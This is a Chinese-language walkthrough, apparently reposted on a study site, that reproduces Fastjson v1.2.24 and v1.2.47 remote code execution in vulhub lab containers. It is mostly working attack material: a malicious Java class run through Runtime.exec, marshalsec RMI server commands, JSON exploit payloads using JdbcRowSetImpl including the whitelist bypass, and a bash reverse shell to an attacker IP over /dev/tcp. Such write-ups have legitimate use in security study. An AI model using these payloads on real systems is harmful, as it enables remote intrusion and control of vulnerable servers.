栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

Fastjson v1.2.24远程命令执行漏洞复现

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

Fastjson v1.2.24远程命令执行漏洞复现

目录
    • 概述
    • Fastjsonv1.2.24远程命令执行(CVE-2017-18349)
      • 漏洞环境
      • 漏洞复现
        • 编写恶意类
        • 编译并开启RMI服务
        • 反弹shell
    • Fastjson V1.2.47远程命令执行
      • 漏洞环境
      • 漏洞复现
        • 反弹shell

概述

fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。

Fastjsonv1.2.24远程命令执行(CVE-2017-18349) 漏洞环境

靶场选择使用vulhub搭建,网址:https://github.com/vulhub/vulhub

下载vulhub,找到fastjson/1.2.24-rce目录,使用docker-compose up -d启动环境。

docker ps -a 查看漏洞环境启动成功

web访问一下

漏洞复现

因为目标环境是Java 8u102,没有com.sun.jndi.rmi.object.trustURLCodebase的限制,我们可以使用com.sun.rowset.JdbcRowSetImpl的利用链,借助JNDI注入来执行命令。

编写恶意类

在攻击机上编写恶意类代码 TouchFile.java

import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
 static {
     try {
         Runtime rt = Runtime.getRuntime();
         String[] commands = {"touch", "/tmp/EDI"};
         Process pc = rt.exec(commands);
         pc.waitFor();
     } catch (Exception e) {
     }
	 // do nothing
 }
}

然后javac TouchFile.java编译一下,生成TouchFile.class.

使用python 起一个http服务python -m SimpleHTTPServer 8888

web访问一下该http服务

编译并开启RMI服务

下载marshalsec 项目 https://github.com/mbechler/marshalsec

java8下,使用 maven 构建mvn clean package -DskipTests 生成相应jar包

启动RMI服务,监听9999端口,并制定远程加载类TouchFile.class
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.8.14:8888/#TouchFile" 9999

访问http://192.168.10.171:8090/,并通过bp抓包

修改请求方式为POST Content-Type改成application/json,并写入exp,然后发送请求。

exp:

{
 "b":{
 "@type":"com.sun.rowset.JdbcRowSetImpl",
 "dataSourceName":"rmi://192.168.8.14:9999/TouchFile",
 "autoCommit":true
 }
}

响应:


进入docker容器中查看已在tmp目录下创建EDI文件

反弹shell

既然能创建文件,那么也可以反弹shell
修改恶意类文件TouchFile.java

import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
 static {
     try {
         Runtime rt = Runtime.getRuntime();
         String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.8.14/4444 0>&1"};
         Process pc = rt.exec(commands);
         pc.waitFor();
     } catch (Exception e) {
     }
	 // do nothing
 }
}

javac编译一把

攻击机开启nc监听

bp重放一次,查看反弹shell成功。

Fastjson V1.2.47远程命令执行

该漏洞利用方法和V1.2.24版本相似,仅攻击载荷不一样而已。

fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。

漏洞环境

同样使用vulhub搭建靶场,找到fastjson/1.2.47-rce目录,并执行docker-compose up -d启动环境。

docker ps -a查看环境启动成功

web访问一下

漏洞复现 反弹shell

编写恶意类并开启http服务传输、启动RMI服务、BP抓包,参考上面,在此不再赘述。

攻击机开启nc监听

修改BP抓到的请求包,修改请求方式为POST Content-Type改成application/json,并写入exp,然后发送请求。

EXP:

{
  "a":{
 "@type":"java.lang.Class",
 "val":"com.sun.rowset.JdbcRowSetImpl"
 },
 "b":{
 "@type":"com.sun.rowset.JdbcRowSetImpl",
 "dataSourceName":"rmi://192.168.8.14:9999/TouchFile",
 "autoCommit":true
 }
}


查看反弹shell已成功

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/274009.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号